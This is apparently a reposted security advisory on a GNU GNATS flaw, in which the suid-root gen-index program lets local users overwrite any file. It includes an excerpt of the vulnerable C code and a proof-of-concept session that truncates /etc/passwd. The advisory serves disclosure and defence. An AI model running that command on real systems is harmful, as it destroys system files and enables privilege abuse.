[UNIX] GNATS Authentication Bypass Vulnerability

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  GNATS Authentication Bypass Vulnerability
------------------------------------------------------------------------


SUMMARY

" <http://www.gnu.org/software/gnats/> GNU GNATS is a set of tools for 
tracking bugs reported by users to a central site."

GNATS allows attacker to overwrite files with suid root gen-index program.

DETAILS

Vulnerable Systems:
 * GNATS version 4.0
 * GNATS version 4.1.0
 * Probably all previous versions are also vulnerable.

Local users are able to execute gen-index without any user or group of 
gnat and overwrite any files in system when placing a suid for the 
program. The problem lies with gen-index main() function, which does not 
check argument who was given to the program with hard open and write there 
own data.

Vulnerable Code:
gnats/gen-index.c:
int main (int argc, char **argv)
{
  ...
  ...

    while ((optc = getopt_long (argc, argv, "o:hd:nVie",
                              long_options, (int *) 0)) != EOF)
    {
      switch (optc)
        {
        ...
        ...
        case 'o':
          file_name = optarg;
          break;

        case 'n':
          numeric_sorting = TRUE;
          break;
        ...
        ...
        }
    }

  ...
  ...

  if (file_name)
    output = fopen (file_name, "w+");
  if (output == (FILE *) NULL)
    {
      fprintf (stderr, "%s: can't write to %s: %s\n", program_name, 
optarg, strerror (errno));
      exit (3);
    }

  ...
  ...

  if (indexIsBinary (database))
    {
      char numFields = indexFieldCount (database);
      fwrite (&numFields, 1, 1, output);
    }

  ...
  ...
  if (numeric_sorting && num_entries > 0)
    {
      qsort (entries, num_entries, sizeof (Entry), entry_cmp);
      for (i = 0; i < num_entries; i++)
        {
          fwrite (entries[i].string, 1, entries[i].length, output);
        }
    }

  fclose (output);
  ...
  exit (0);
}

Function fopen() with argument "w+" open file for reading and writing. The 
file is created if it does not exist, otherwise it is truncated.

Proof of Concept:
pi3@darkstar:~$ pwd
/home/pi3
pi3@darkstar:~$ ls -alh /etc/passwd
-rw-r--r--    1 root     root          795 May 19 18:49 /etc/passwd
pi3@darkstar:~$ ls -alh /usr/local/libexec/gnats/gen-index
-r-sr-xr-x    1 root     root         465k Nov 21  2004 
/usr/local/libexec/gnats/gen-index*
pi3@darkstar:~$ /usr/local/libexec/gnats/gen-index -n -o /etc/passwd
pi3@darkstar:~$ ls -alh /etc/passwd
-rw-r--r--    1 root     root            1 Jun 16 17:34 /etc/passwd
pi3@darkstar:~$ cat /etc/passwd
pi3@darkstar:~$


ADDITIONAL INFORMATION

The information has been provided by  <mailto:pi3ki31ny@wp.pl> Adam 
Zabrocki.
The original article can be found at:  
<http://www.pi3.int.pl/adv/gnats.txt> http://www.pi3.int.pl/adv/gnats.txt



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